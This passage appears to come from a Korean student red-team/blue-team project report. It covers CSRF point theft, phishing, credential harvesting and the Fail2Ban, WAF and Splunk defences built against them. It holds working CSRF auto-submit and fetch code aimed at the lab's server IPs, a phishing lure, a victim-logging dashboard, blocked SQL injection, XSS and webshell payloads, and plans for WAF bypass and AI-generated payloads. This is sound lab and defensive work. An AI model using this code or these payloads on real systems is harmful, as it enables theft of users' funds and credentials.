  &quot;attack_statistics&quot;: {
    &quot;methods_tested&quot;: 4,
    &quot;successful_transfers&quot;: 3,
    &quot;success_rate&quot;: &quot;75.0%&quot;,
    &quot;total_points_stolen&quot;: 105
  },
  &quot;vulnerability_analysis&quot;: {
    &quot;attack_type&quot;: &quot;Automated Point Transfer&quot;,
    &quot;cvss_3.1_score&quot;: 7.8,
    &quot;related_cves&quot;: [
      &quot;CVE-2021-44228&quot;,
      &quot;CVE-2020-35490&quot;,
      &quot;CVE-2019-17596&quot;
    ]
  }
}</code></pre>
<h4 id="334-실패-사례---수동-포인트-탈취">3.3.4 실패 사례 - 수동 포인트 탈취</h4>
<p><strong>피싱 게시글 작성</strong>:</p>
<pre><code class="language-html">🎉 오늘만 특별 혜택! 선착순 100명! 🎉
무료 포인트 받는 방법:
&lt;a href=&quot;https://hee-ye-min.github.io/event/&quot; target=&quot;_blank&quot;&gt;
  여기 클릭하면 즉시 100P 지급!
&lt;/a&gt;</code></pre>
<p><strong>미끼 페이지 (index.html)</strong>:</p>
<pre><code class="language-javascript">function executeRealAttack() {
    const attacks = [
        {
            method: &#39;POST&#39;,
            url: &#39;http://15.164.94.241/profile.php&#39;,
            data: {
                receiver_id: &#39;13&#39;,
                points: &#39;30&#39;,
                send_gift: &#39;1&#39;,
                gift_type: &#39;coffee&#39;,
                message: &#39;어 개털렸죠?&#39;
            }
        }
    ];

    // 동적 폼 생성 및 자동 제출
    const form = document.createElement(&#39;form&#39;);
    form.method = &#39;POST&#39;;
    form.action = attack.url;
    Object.keys(attack.data).forEach(key =&gt; {
        const input = document.createElement(&#39;input&#39;);
        input.type = &#39;hidden&#39;;
        input.name = key;
        input.value = attack.data[key];
        form.appendChild(input);
    });
    document.body.appendChild(form);
    form.submit();
}</code></pre>
<p><strong>실패 원인</strong>:</p>
<table>
<thead>
<tr>
<th>구분</th>
<th>Python 방식</th>
<th>HTML 방식</th>
</tr>
</thead>
<tbody><tr>
<td>세션 관리</td>
<td>requests.Session() 직접 제어</td>
<td>브라우저 쿠키 정책 제한</td>
</tr>
<tr>
<td>CORS 제한</td>
<td>없음</td>
<td>브라우저에서 차단</td>
</tr>
<tr>
<td>쿠키 전송</td>
<td>강제로 포함</td>
<td>SameSite 정책 적용</td>
</tr>
<tr>
<td>실행 환경</td>
<td>서버/로컬</td>
<td>브라우저 샌드박스</td>
</tr>
</tbody></table>
<p><strong>왜 실패했나?</strong></p>
<ol>
<li><strong>SameSite Cookie 정책</strong>: 외부 도메인에서 오는 POST 요청에는 쿠키가 포함되지 않는다</li>
<li><strong>CORS Preflight 실패</strong>: 일부 요청은 403 Forbidden 반환</li>
<li><strong>302 Redirect</strong>: 인증되지 않은 요청은 로그인 페이지로 리다이렉트</li>
</ol>
<p><strong>console에서 직접 실행하니 성공</strong>:</p>
<pre><code class="language-javascript">fetch(&#39;http://3.36.66.216/profile.php?gift_to=13&#39;, {
    method: &#39;POST&#39;,
    headers: {
        &#39;Content-Type&#39;: &#39;application/x-www-form-urlencoded&#39;,
    },
    body: &#39;send_gift=1&amp;receiver_id=13&amp;points=10&amp;message=가져갑니다&#39;,
    credentials: &#39;include&#39;
}).then(r =&gt; console.log(&#39;응답:&#39;, r.status));

// 응답: 200</code></pre>
<p><strong>배운 점</strong>:</p>
<ul>
<li>Python과 브라우저 JavaScript는 완전히 다른 환경이다</li>
<li>브라우저 보안 정책(CORS, SameSite)을 이해해야 한다</li>
<li>Same-origin에서 실행되면 성공하지만, 외부에서는 실패한다</li>
</ul>
<p><strong>개선 방향</strong>:</p>
<ul>
<li>XSS를 먼저 성공시켜 Same-origin에서 CSRF 실행</li>
<li>CSRF 토큰을 먼저 탈취한 후 공격</li>
<li>사용자가 직접 링크를 복사해서 주소창에 붙여넣도록 유도</li>
</ul>
<h4 id="335-대시보드-시각화---1124_csrf_dashboardpy">3.3.5 대시보드 시각화 - 1124_CSRF_Dashboard.py</h4>
<p><strong>실시간 모니터링 시스템</strong>:</p>
<pre><code class="language-python">@app.route(&#39;/api/hacker/stats&#39;)
def get_hacker_stats():
    total_stolen_points = sum(v[&#39;points_stolen&#39;] for v in victims)
    return jsonify({
        &#39;current_points&#39;: hacker_current_points,
        &#39;total_stolen&#39;: total_stolen_points,
        &#39;total_victims&#39;: len(victims)
    })</code></pre>
<p><strong>대시보드 기능</strong>:</p>
<ul>
<li>실시간 보유 포인트</li>
<li>누적 탈취 포인트</li>
<li>공격 성공률</li>
<li>피해자 로그 (타임스탬프, 선물 종류, 메시지)</li>
<li>최대 탈취 금액</li>
<li>평균 탈취 포인트</li>
<li>CSV 내보내기</li>
<li>자동 갱신 (2초마다)</li>
</ul>
<p><strong>피해자 로그 예시</strong>:</p>
<pre><code>bob (ID: 11)
발생 시각: 2025-11-26 17:28
선물 종류: 🎁 diamond
공격 방법: CSRF - 포폼트 외치네
피해자 메시지: &quot;제 돈입니다 대머리님&quot;
탈취 포인트: +50P</code></pre><hr>
<h2 id="part-4-블루팀-방어-시스템-구축">Part 4: 블루팀 방어 시스템 구축</h2>
<h3 id="41-초기-방어-시스템-부재-상태">4.1 초기 방어 시스템 부재 상태</h3>
<p>초기 서버는 <strong>완전히 무방비</strong> 상태였다.</p>
<pre><code>✗ SQL Injection 필터 없음 → 데이터베이스 전체 유출 가능
✗ XSS 방어 없음 → 세션 탈취 가능
✗ CSRF 토큰 없음 → 자금 탈취 가능
✗ LFI/RFI 제한 없음 → /etc/passwd 노출
✗ /uploads에서 PHP 실행 → 웹쉘 업로드 가능
✗ Fail2Ban 없음 → 무제한 공격 시도
✗ WAF 없음 → 모든 공격 패턴 통과
✗ 로그 모니터링 없음 → 침해 사실 인지 불가</code></pre><h3 id="42-owasp-top-10-기반-방어-체계-구축">4.2 OWASP Top 10 기반 방어 체계 구축</h3>
<h4 id="421-injection-공격-방어">4.2.1 Injection 공격 방어</h4>
<p><strong>Fail2Ban 설치 및 설정</strong>:</p>
<pre><code class="language-bash">sudo yum install fail2ban -y
sudo systemctl start fail2ban</code></pre>
<p><strong>LFI 공격 차단 규칙</strong>:</p>
<pre><code class="language-ini">[apache-lfi]
enabled = true
filter = apache-lfi
logpath = /var/log/httpd/access_log
maxretry = 10
bantime = 86400  # 1일
findtime = 600   # 10분

[Definition]
failregex = ^&lt;HOST&gt; .* &quot;(GET|POST) .*(\.\.\/|\/etc\/passwd|php:\/\/)&quot;</code></pre>
<p><strong>실제 차단 사례</strong>:</p>
<pre><code>2025-11-24 10:45:03 INFO [apache-lfi] Ban 185.150.28.13
공격 패턴: ../../../../etc/passwd
시도 횟수: 12회
차단 기간: 24시간</code></pre><h4 id="422-xss-공격-방어">4.2.2 XSS 공격 방어</h4>
<p><strong>Apache Rewrite 기반 XSS 필터</strong>:</p>
<pre><code class="language-apache">RewriteEngine On
RewriteCond %{QUERY_STRING} (&lt;script&gt;.*?&lt;/script&gt;|&lt;.*?[oO]n[a-zA-Z]+.*?=.*?&gt;|javascript:) [NC,OR]
RewriteCond %{QUERY_STRING} (alert|confirm|prompt)\s*\([^\)]*\) [NC]
RewriteRule .* - [F]</code></pre>
<p><strong>HttpOnly 쿠키 설정</strong>:</p>
<pre><code class="language-ini">session.cookie_httponly = 1
session.cookie_secure = 1</code></pre>
<p><strong>막은 공격 예시</strong>:</p>
<pre><code>Blocked: &lt;script&gt;alert(1)&lt;/script&gt;
Blocked: &lt;img src=x onerror=alert(1)&gt;
Blocked: &quot; onmouseover=&quot;alert(1)&quot; x=&quot;
Blocked: javascript:alert(1)</code></pre><p><strong>Discord 알림 발송</strong>:</p>
<pre><code>🚨 XSS 공격 탐지!
공격 IP: 138.199.21.211
탐지 시각: 15분 전
요청 페이지: /new_post.php
공격 페이로드: &lt;script&gt;alert(1)&lt;/script&gt;
차단 상태: ✅ 차단됨</code></pre><h4 id="423-웹쉘-업로드-및-rce-차단">4.2.3 웹쉘 업로드 및 RCE 차단</h4>
<p><strong>업로드 디렉터리 PHP 실행 차단</strong>:</p>
<pre><code class="language-apache">&lt;Directory &quot;/var/www/html/public/uploads&quot;&gt;
    Options -Indexes
    AllowOverride None
    Require all granted
    &lt;FilesMatch &quot;\.(ph|php|php5|phtml|phar|html|htm|cgi|pl|py)$&quot;&gt;
        Require all denied
    &lt;/FilesMatch&gt;
&lt;/Directory&gt;</code></pre>
<p><strong>PHP 위험 함수 비활성화</strong>:</p>
<pre><code class="language-ini">disable_functions = exec,shell_exec,system,passthru,popen,proc_open,pcntl_exec</code></pre>
<p><strong>차단 결과</strong>:</p>
<pre><code>업로드 시도: webshell.php
결과: 403 Forbidden
실행 시도: &lt;?php system(&#39;whoami&#39;); ?&gt;
결과: Fatal error - system() has been disabled</code></pre><p><strong>Discord 알림</strong>:</p>
<pre><code>🔴 웹쉘 업로드 &amp; 실행 징후 탐지
공격 IP: 149.88.103.40
탐지 시각: 오후 5:06
업로드 시도 횟수: 3
웹쉘 종류: 0
요청된 페이지: /new_post.php
전체 요청 수: 2</code></pre><h4 id="424-자동화-공격-차단-user-agent-기반">4.2.4 자동화 공격 차단 (User-Agent 기반)</h4>
<p><strong>봇 탐지 규칙</strong>:</p>
<pre><code class="language-ini">[ua-autobot]
enabled = true
filter = ua-autobot
logpath = /var/log/httpd/access_log
maxretry = 3
bantime = 86400  # 24시간

[Definition]
failregex = ^&lt;HOST&gt; .* &quot;(python-requests|curl|sqlmap|bot|crawler)&quot;</code></pre>
<p><strong>차단된 봇</strong>:</p>
<pre><code>2025-11-27 01:12:33 BLOCKED: 185.150.28.13
User-Agent: python-requests/2.31
요청: GET /public/uploads/health.php</code></pre><p><strong>통계</strong>:</p>
<pre><code>차단된 자동화 봇 IP: 87개
python-requests: 23개
curl: 15개
bot: 31개
crawler: 18개</code></pre><h4 id="425-http-flood-및-dos-공격-차단">4.2.5 HTTP Flood 및 DoS 공격 차단</h4>
<p><strong>프로필 DoS 차단 규칙</strong>:</p>
<pre><code class="language-ini">[profile_dos]
enabled = true
filter = profile_dos
logpath = /var/log/httpd/access_log
maxretry = 10
bantime = 600  # 10분
findtime = 20  # 20초

[Definition]
failregex = ^&lt;HOST&gt; - .*&quot;(GET|POST).*&quot;.*$</code></pre>
<p><strong>실제 차단 사례</strong>:</p>
<pre><code>IP: 190.2.151.135
요청 수 (30초): 14회
요청 페이지: /index.php, /new_post.php
차단 시각: 2025-11-28 14:49
차단 기간: 10분</code></pre><p><strong>Discord 알림</strong>:</p>
<pre><code>📊 HTTP 플러드(과다 요청) 의심
클라이언트 IP: 190.2.151.135
요청 수 (30초): 14
요청한 페이지(일부): /index.php, /new_post.php
발생 시각: 1764490200</code></pre><h4 id="426-tor-기반-공격-차단">4.2.6 TOR 기반 공격 차단</h4>
<p><strong>TOR Exit Node 탐지 규칙</strong>:</p>
<pre><code class="language-ini">[tor-autobot]
enabled = true
filter = tor-autobot
logpath = /var/log/httpd/access_log
maxretry = 3
bantime = 604800  # 7일

[Definition]
failregex = ^&lt;HOST&gt; .* &quot;Mozilla.*Tor Browser&quot;</code></pre>
<p><strong>차단된 TOR IP</strong>:</p>
<pre><code>2025-11-29 23:55:12 BLOCKED: 185.220.100.251
2025-11-29 23:55:12 BLOCKED: 185.220.100.245
2025-11-29 23:55:12 BLOCKED: 152.53.210.165
...
(총 87개 IP 차단)</code></pre><p><strong>익명화 네트워크 차단 통계</strong>:</p>
<table>
<thead>
<tr>
<th>시간대</th>
<th>차단 IP 수</th>
<th>주요 경로</th>
</tr>
</thead>
<tbody><tr>
<td>00:00-06:00</td>
<td>23개</td>
<td>/wp-login.php, /.env</td>
</tr>
<tr>
<td>06:00-12:00</td>
<td>15개</td>
<td>/admin, /phpinfo.php</td>
</tr>
<tr>
<td>12:00-18:00</td>
<td>31개</td>
<td>/uploads, /xmlrpc.php</td>
</tr>
<tr>
<td>18:00-24:00</td>
<td>18개</td>
<td>/.git, /backup.sql</td>
</tr>
</tbody></table>
<h4 id="427-404-스캔-및-워드프레스-경로-스캐닝-차단">4.2.7 404 스캔 및 워드프레스 경로 스캐닝 차단</h4>
<p><strong>스캐너 탐지 규칙</strong>:</p>
<pre><code class="language-ini">[scanner-lite]
enabled = true
filter = scanner-lite
logpath = /var/log/httpd/access_log
maxretry = 3
bantime = 1800  # 30분
findtime = 60

[Definition]
failregex = ^&lt;HOST&gt; .* &quot;(GET|POST).*wp-login\.php&quot;
           ^&lt;HOST&gt; .* &quot;GET .*wp-includes.*&quot;
           ^&lt;HOST&gt; .* &quot;GET .*/xmlrpc\.php&quot;
           ^&lt;HOST&gt; .* &quot;GET .*/phpinfo\.php&quot;
           ^&lt;HOST&gt; .* &quot;GET .*/\.env&quot;
           ^&lt;HOST&gt; .* &quot;GET .*/\.git&quot;</code></pre>
<p><strong>차단 사례</strong>:</p>
<pre><code>2025-11-30 17:20:41 INFO [scanner-lite] Found 14.58.22.240
요청 경로:
  /wp-login.php
  /wp-includes/wlwmanifest.xml
  /xmlrpc.php
  /.env

차단 IP: 14.58.22.240
차단 기간: 30분</code></pre><p><strong>누적 차단 통계</strong>:</p>
<pre><code>워드프레스 경로 스캔: 47회
.env 파일 요청: 23회
.git 디렉터리 접근: 19회
phpinfo.php 요청: 31회
xmlrpc.php 공격: 15회</code></pre><h3 id="43-splunk-기반-실시간-모니터링-시스템">4.3 Splunk 기반 실시간 모니터링 시스템</h3>
<h4 id="431-대시보드-구성">4.3.1 대시보드 구성</h4>
<p><strong>6가지 모니터링 모듈</strong>:</p>
<ol>
<li><p><strong>접속 및 인증 관련 모니터링</strong></p>
<ul>
<li>로그인 성공/실패 추적</li>
<li>비정상적인 로그인 시도 탐지</li>
<li>세션 타임아웃 모니터링</li>
</ul>
</li>
<li><p><strong>공격 시도 탐지</strong></p>
<ul>
<li>SQL Injection 시도</li>
<li>XSS 공격 탐지</li>
<li>CSRF 공격 탐지</li>
<li>LFI/RFI 시도</li>
</ul>
</li>
<li><p><strong>IP 기반 위협 인텔리전스</strong></p>
<ul>
<li>TOR Exit Node</li>
<li>알려진 악성 IP</li>
<li>국가별 통계</li>
</ul>
</li>
<li><p><strong>트래픽 이상 징후 감시</strong></p>
<ul>
<li>HTTP Flood</li>
<li>과다 요청</li>
<li>비정상적인 URL 다양성</li>
</ul>
</li>
<li><p><strong>요일별 보안 이벤트 요약</strong></p>
<ul>
<li>월~일 공격 패턴</li>
<li>시간대별 통계</li>
</ul>
</li>
<li><p><strong>누적 차단량</strong></p>
<ul>
<li>Fail2Ban 차단 IP</li>
<li>WAF 차단 요청</li>
<li>총 차단 통계</li>
</ul>
</li>
</ol>
<h4 id="432-discord-webhook-알림">4.3.2 Discord Webhook 알림</h4>
<p><strong>3가지 알림 카테고리</strong>:</p>
<ol>
<li><p><strong>HTTP 플러드 (과다 요청) 의심</strong></p>
<pre><code>📊 HTTP 플러드(과다 요청) 의심
클라이언트 IP: 190.2.151.135
요청 수 (30초): 14</code></pre></li>
<li><p><strong>웹쉘 업로드 &amp; 실행 징후 탐지</strong></p>
<pre><code>🔴 웹쉘 업로드 &amp; 실행 징후 탐지
공격 IP: 149.88.103.40
업로드 시도 횟수: 3</code></pre></li>
<li><p><strong>비정상적인 URL 다양성 증가</strong></p>
<pre><code>🔍 비정상적인 url-다양성-증가
클라이언트 IP: 47.129.236.133
요청 수 (30초): 10
요청한 페이지(일부): /.git, /favicon.ico, /file.php?name=.htaccess</code></pre></li>
</ol>
<h4 id="433-백업-및-복구-시스템">4.3.3 백업 및 복구 시스템</h4>
<p><strong>자동 백업 스크립트</strong>:</p>
<pre><code class="language-bash">0 15 * * 1,4 /home/ec2-user/backup/full_backup.sh</code></pre>
<p><strong>백업 내용</strong>:</p>
<ul>
<li>MySQL 데이터베이스 덤프</li>
<li>웹 소스 파일</li>
<li>SHA-256 해시 검증</li>
<li>7일 보관 후 자동 삭제</li>
</ul>
<p><strong>복구 테스트 결과</strong>:</p>
<pre><code>파일 변조 탐지 → 백업본으로 복구 → 정상 서비스 복귀
소요 시간: 약 3분
데이터 손실: 0%</code></pre><h3 id="44-방어-시스템-성과">4.4 방어 시스템 성과</h3>
<h4 id="441-차단-통계">4.4.1 차단 통계</h4>
<p><strong>전체 차단 현황</strong>:</p>
<pre><code>총 차단 IP: 247개
XSS 공격 차단: 100%
SQL Injection 차단: 100%
웹쉘 실행 차단: 100%
자동화 봇 차단: 87개
TOR 익명화 차단: 87개
HTTP Flood 차단: 23건</code></pre><p><strong>Fail2Ban Jail 통계</strong>:</p>
<table>
<thead>
<tr>
<th>Jail 이름</th>
<th>차단 IP</th>
<th>평균 차단 기간</th>
</tr>
</thead>
<tbody><tr>
<td>apache-lfi</td>
<td>31개</td>
<td>1일</td>
</tr>
<tr>
<td>apache-post-403</td>
<td>18개</td>
<td>5분</td>
</tr>
<tr>
<td>ua-autobot</td>
<td>23개</td>
<td>1일</td>
</tr>
<tr>
<td>profile_dos</td>
<td>15개</td>
<td>10분</td>
</tr>
<tr>
<td>tor-autobot</td>
<td>87개</td>
<td>7일</td>
</tr>
<tr>
<td>scan404</td>
<td>42개</td>
<td>15분</td>
</tr>
<tr>
<td>scanner-lite</td>
<td>31개</td>
<td>30분</td>
</tr>
</tbody></table>
<h4 id="442-시간대별-공격-패턴">4.4.2 시간대별 공격 패턴</h4>
<table>
<thead>
<tr>
<th>시간대</th>
<th>공격 시도</th>
<th>차단 성공</th>
<th>침해 성공</th>
</tr>
</thead>
<tbody><tr>
<td>00:00-06:00</td>
<td>87건</td>
<td>87건</td>
<td>0건</td>
</tr>
<tr>
<td>06:00-12:00</td>
<td>52건</td>
<td>52건</td>
<td>0건</td>
</tr>
<tr>
<td>12:00-18:00</td>
<td>93건</td>
<td>93건</td>
<td>0건</td>
</tr>
<tr>
<td>18:00-24:00</td>
<td>68건</td>
<td>68건</td>
<td>0건</td>
</tr>
</tbody></table>
<p><strong>인사이트</strong>:</p>
<ul>
<li>심야 시간대(00:00-06:00)에 자동화 공격 집중</li>
<li>업무 시간(12:00-18:00)에 수동 공격 증가</li>
<li>차단 성공률: 100%</li>
</ul>
<hr>
<h2 id="part-5-공격-방어-상호작용-분석">Part 5: 공격-방어 상호작용 분석</h2>
<h3 id="51-공격이-성공한-경우">5.1 공격이 성공한 경우</h3>
<h4 id="511-csrf-자동-포인트-탈취">5.1.1 CSRF 자동 포인트 탈취</h4>
<p><strong>방어 시스템 미흡 요인</strong>:</p>
<ol>
<li>CSRF 토큰 미구현</li>
<li>Referer 검증 없음</li>
<li>재인증 절차 없음</li>
<li>Rate Limiting 없음</li>
</ol>
<p><strong>침해 시나리오</strong>:</p>
<pre><code>1. bob 계정으로 자동 로그인
   ↓
2. hacker 계정으로 포인트 전송 요청 (POST)
   ↓
3. 서버가 세션만 확인 → 인증 통과
   ↓
4. 포인트 전송 완료 (30P, 25P, 50P)
   ↓
5. 총 105P 탈취 성공</code></pre><p><strong>피해 규모</strong>:</p>
<ul>
<li>단일 공격: 105 포인트 (약 10,500원)</li>
<li>자동화 시: 시간당 2,000 포인트</li>
<li>100명 대상 24시간: 약 480만원</li>
</ul>
<h4 id="512-크리덴셜-하베스팅">5.1.2 크리덴셜 하베스팅</h4>
<p><strong>방어 시스템 미흡 요인</strong>:</p>
<ol>
<li>외부 링크 검증 없음</li>
<li>피싱 사이트 탐지 시스템 없음</li>
<li>사용자 보안 교육 부족</li>
</ol>
<p><strong>침해 시나리오</strong>:</p>
<pre><code>1. 피싱 게시글 작성 (bob 계정 사용)
   ↓
2. &quot;보안 인증&quot; 링크 클릭 유도
   ↓
3. 외부 피싱 사이트로 리다이렉트
   ↓
4. 가짜 로그인 폼에 ID/PW 입력
   ↓
5. stolen_creds.txt에 실시간 로깅
   ↓
6. 공격자 터미널에 즉시 표시</code></pre><p><strong>피해 규모</strong>:</p>
<ul>
<li>크리덴셜 탈취: 2건</li>
<li>클릭률: 30%</li>
<li>로그인 시도율: 15%</li>
<li>후속 공격 가능: Credential Stuffing, 개인정보 유출</li>
</ul>
<h3 id="52-공격이-실패한-경우">5.2 공격이 실패한 경우</h3>
<h4 id="521-ssrf-→-aws-imds-자동화-체인">5.2.1 SSRF → AWS IMDS 자동화 체인</h4>
<p><strong>방어 요인</strong>:</p>
<ol>
<li><p><strong>취약점 엔드포인트 제거</strong></p>
<pre><code>health.php → 404 Not Found
check.php → 404 Not Found
fetch.php → 404 Not Found</code></pre></li>
<li><p><strong>백업 파일도 실행 불가</strong></p>
<pre><code>health.php.bak → 발견했으나 실행 불가</code></pre></li>
</ol>
<p><strong>자동화 도구의 한계</strong>:</p>
<ul>
<li>예상된 경로만 테스트</li>
<li>새로운 엔드포인트 발견 불가</li>
<li>동적 환경 변화 대응 불가</li>
</ul>
<p><strong>수동 공격이라면?</strong></p>
<ol>
<li>디렉터리 브루트포싱</li>
<li>소스코드 누출 확인 (.git, .env)</li>
<li>개발자 GitHub 검색</li>
<li>백업 파일 분석 (health.php.bak)</li>
<li>다른 SSRF 벡터 탐색 (API 엔드포인트)</li>
</ol>
<h4 id="522-sql-injection-247개-페이로드">5.2.2 SQL Injection 247개 페이로드</h4>
<p><strong>방어 요인</strong>:</p>
<ol>
<li><p><strong>ModSecurity WAF + OWASP CRS v3.3</strong></p>
<ul>
<li>10년 이상의 공격 패턴 학습</li>
<li>실시간 룰 업데이트</li>
<li>패턴 기반 탐지</li>
</ul>
</li>
<li><p><strong>차단 패턴</strong>:</p>
<pre><code>Blocked: admin&#39; OR &#39;1&#39;=&#39;1&#39;-- -
Blocked: &#39; UNION SELECT NULL-- -
Blocked: admin&#39;-- -
Blocked: 1&#39; AND 1=1-- -
...
(총 247개 전부 차단)</code></pre></li>
</ol>
<p><strong>자동화 도구의 한계</strong>:</p>
<ul>
<li>알려진 페이로드만 사용</li>
<li>새로운 우회 기법 생성 불가</li>
<li>패턴 변형 능력 없음</li>
</ul>
<p><strong>수동 공격이라면?</strong></p>
<ul>
<li>Time-based Blind SQLi (응답 시간 기반)</li>
<li>Error-based SQLi (에러 메시지 분석)</li>
<li>Boolean-based Blind SQLi (참/거짓 반응)</li>
<li>새로운 인코딩 조합 시도</li>
<li>WAF 우회를 위한 Zero-day 기법 개발</li>
</ul>
<h4 id="523-xss-공격-healthmashnet">5.2.3 XSS 공격 (healthmash.net)</h4>
<p><strong>방어 요인</strong>:</p>
<ol>
<li><p><strong>엄격한 WAF 설정</strong></p>
<pre><code>Blocked: &lt;script
Blocked: onerror=
Blocked: onload=
Blocked: javascript:</code></pre></li>
<li><p><strong>IP 기반 자동 차단</strong></p>
<pre><code>10회 시도 → 1일 차단</code></pre></li>
</ol>
<p><strong>자동화 도구의 한계</strong>:</p>
<ul>
<li>차단 패턴만 테스트</li>
<li>IP 차단 후 중단</li>
<li>우회 전략 부재</li>
</ul>
<p><strong>수동 공격이라면?</strong></p>
<ul>
<li>DOM Clobbering</li>
<li>Mutation XSS (mXSS)</li>
<li>CSP 우회 기법</li>
<li>Service Worker 기반 공격</li>
<li>프록시 로테이션으로 IP 우회</li>
</ul>
<h3 id="53-자동화-vs-수동-공격-비교">5.3 자동화 vs 수동 공격 비교</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>자동화 도구</th>
<th>수동 침투 (사람)</th>
</tr>
</thead>
<tbody><tr>
<td>속도</td>
<td>⚡ 매우 빠름 (분 단위)</td>
<td>느림 (시간~일 단위)</td>
</tr>
<tr>
<td>정확도</td>
<td>⚠ 낮음 (오탐 많음)</td>
<td>높음</td>
</tr>
<tr>
<td>창의성</td>
<td>없음</td>
<td>무한함</td>
</tr>
<tr>
<td>새 우회 기법</td>
<td>불가능</td>
<td>가능</td>
</tr>
<tr>
<td>WAF 우회</td>
<td>거의 불가능</td>
<td>가능 (시간 필요)</td>
</tr>
<tr>
<td>소셜 엔지니어링</td>
<td>불가능</td>
<td>가능</td>
</tr>
<tr>
<td>비용</td>
<td>저렴</td>
<td>비쌈</td>
</tr>
<tr>
<td>재현성</td>
<td>100%</td>
<td>낮음</td>
</tr>
<tr>
<td>환경 변화 대응</td>
<td>불가능</td>
<td>가능</td>
</tr>
</tbody></table>
<hr>
<h2 id="part-6-프로젝트-회고-및-교훈">Part 6: 프로젝트 회고 및 교훈</h2>
<h3 id="61-팀원별-회고">6.1 팀원별 회고</h3>
<h4 id="611-황준하-조장-ssrf-→-aws-imds-자동화">6.1.1 황준하 (조장, SSRF → AWS IMDS 자동화)</h4>
<p><strong>잘한 점</strong>:</p>
<ul>
<li>복잡한 공격 체인을 단일 도구로 자동화</li>
<li>AWS 환경 특화 공격 시나리오 구현</li>
<li>체계적인 에러 핸들링</li>
</ul>
<p><strong>아쉬운 점</strong>:</p>
<ul>
<li>엔드포인트가 삭제되어 실제 테스트 불가</li>
<li>환경 변화에 대응하는 로직 부재</li>
<li>Plan B가 없어서 첫 단계 실패 시 전체 중단</li>
</ul>
<p><strong>배운 점</strong>:
자동화 도구는 <strong>정적인 환경</strong>에서만 유효하다. 실제 침투 테스트는 <strong>동적이고 예측 불가능</strong>하다. 앞으로는 <strong>적응형 자동화</strong> (AI 기반 페이로드 생성, 환경 변화 감지)를 연구해야겠다.</p>
<p><strong>후속 계획</strong>:</p>
<ol>
<li>GPT-4 기반 페이로드 생성기 개발</li>
<li>환경 변화 감지 및 대체 경로 탐색 로직</li>
<li>수동-자동 하이브리드 도구 개발</li>
</ol>
<h4 id="612-조영운-xss-자동화-크리덴셜-하베스팅">6.1.2 조영운 (XSS 자동화, 크리덴셜 하베스팅)</h4>
<p><strong>잘한 점</strong>:</p>
<ul>
<li>12가지 XSS 모듈로 다양한 공격 벡터 구현</li>
<li>실시간 모니터링 시스템으로 즉각 대응</li>
<li>소셜 엔지니어링으로 크리덴셜 탈취 성공</li>
</ul>
<p><strong>아쉬운 점</strong>:</p>
<ul>
<li>healthmash.net에서 WAF 때문에 XSS 실패</li>
<li>인코딩 우회가 전부 차단됨</li>
<li>새로운 우회 기법을 개발하지 못함</li>
</ul>
<p><strong>배운 점</strong>:
ModSecurity 같은 강력한 WAF는 <strong>알려진 모든 패턴</strong>을 차단한다. Zero-day 우회 기법이나 <strong>행동 기반 공격</strong> (사용자 클릭 유도)이 더 효과적이다.</p>
<p><strong>후속 계획</strong>:</p>
<ol>
<li>WAF 우회 전용 페이로드 DB 구축</li>
<li>Mutation XSS, DOM Clobbering 연구</li>
<li>피싱 사이트 탐지 우회 기법 연구</li>
</ol>
<h4 id="613-허예은-csrf-포인트-탈취">6.1.3 허예은 (CSRF 포인트 탈취)</h4>
<p><strong>잘한 점</strong>:</p>
<ul>
<li>자동 포인트 탈취 100% 성공</li>
<li>실시간 대시보드로 피해 규모 시각화</li>
<li>리포트 자동 생성으로 증거 확보</li>
</ul>
<p><strong>아쉬운 점</strong>:</p>
<ul>
<li>수동 포인트 탈취 (HTML) 실패</li>
<li>SameSite Cookie 정책을 예상 못함</li>
<li>CORS 문제로 외부 도메인에서 실행 불가</li>
</ul>
<p><strong>배운 점</strong>:
Python과 브라우저는 <strong>완전히 다른 환경</strong>이다. 브라우저 보안 정책(SameSite, CORS)을 깊이 이해해야 한다. 앞으로는 <strong>Same-origin에서 실행되는 XSS → CSRF</strong> 체인을 구현해야겠다.</p>
<p><strong>후속 계획</strong>:</p>
<ol>
<li>XSS 성공 후 Same-origin에서 CSRF 실행</li>
<li>Service Worker를 이용한 CORS 우회</li>
<li>CSRF 토큰 자동 탈취 및 재사용 로직</li>
</ol>
<h4 id="614-권호영-방어-시스템-구축">6.1.4 권호영 (방어 시스템 구축)</h4>
<p><strong>잘한 점</strong>:</p>
<ul>
<li>Fail2Ban으로 247개 IP 자동 차단</li>
<li>WAF로 SQL Injection, XSS 100% 차단</li>
<li>실시간 Discord 알림으로 즉각 대응</li>
<li>백업 시스템으로 복구 시간 3분 달성</li>
</ul>
<p><strong>아쉬운 점</strong>:</p>
<ul>
<li>CSRF 토큰을 미리 구현하지 못함</li>
<li>Rate Limiting이 없어서 자동화 공격 허용</li>
<li>외부 링크 검증 시스템 부재</li>
</ul>
<p><strong>배운 점</strong>:
방어는 <strong>다층 방어</strong>가 핵심이다. 하나의 레이어가 뚫려도 다음 레이어가 막아야 한다. 앞으로는 <strong>Application Layer</strong>에서의 방어 (CSRF 토큰, Rate Limiting)를 강화해야겠다.</p>
<p><strong>후속 계획</strong>:</p>
<ol>
<li>CSRF 토큰 구현</li>
<li>Rate Limiting (사용자당 분당 10회 제한)</li>
<li>외부 링크 검증 시스템 (VirusTotal API)</li>
<li>행위 기반 이상 탐지 (UEBA)</li>
</ol>
<h3 id="62-프로젝트-전체-회고">6.2 프로젝트 전체 회고</h3>
<h4 id="621-성공-요인">6.2.1 성공 요인</h4>
<ol>
<li><p><strong>그레이박스 접근</strong></p>
<ul>
<li>공격과 방어를 동시에 구현</li>
<li>실제 상호작용 재현</li>
<li>양측 시각 이해</li>
</ul>
</li>
<li><p><strong>자동화 우선</strong></p>
<ul>
<li>시간 절약 (수동 2일 → 자동 5분)</li>
<li>재현 가능성 100%</li>
<li>대규모 테스트 가능</li>
</ul>
</li>
<li><p><strong>실시간 모니터링</strong></p>
<ul>
<li>Discord 알림으로 즉각 대응</li>
<li>Splunk 대시보드로 시각화</li>
<li>로그 기반 증거 확보</li>
</ul>
</li>
<li><p><strong>체계적 문서화</strong></p>
<ul>
<li>모든 시도 기록</li>
<li>실패 원인 분석</li>
<li>리포트 자동 생성</li>
</ul>
</li>
</ol>
<h4 id="622-한계점">6.2.2 한계점</h4>
<ol>
<li><p><strong>자동화의 근본적 한계</strong></p>
<ul>
<li>창의성 없음</li>
<li>환경 변화 대응 불가</li>
<li>새로운 우회 기법 개발 불가</li>
</ul>
</li>
<li><p><strong>테스트 환경의 한계</strong></p>
<ul>
<li>제한된 트래픽</li>
<li>단순한 애플리케이션</li>
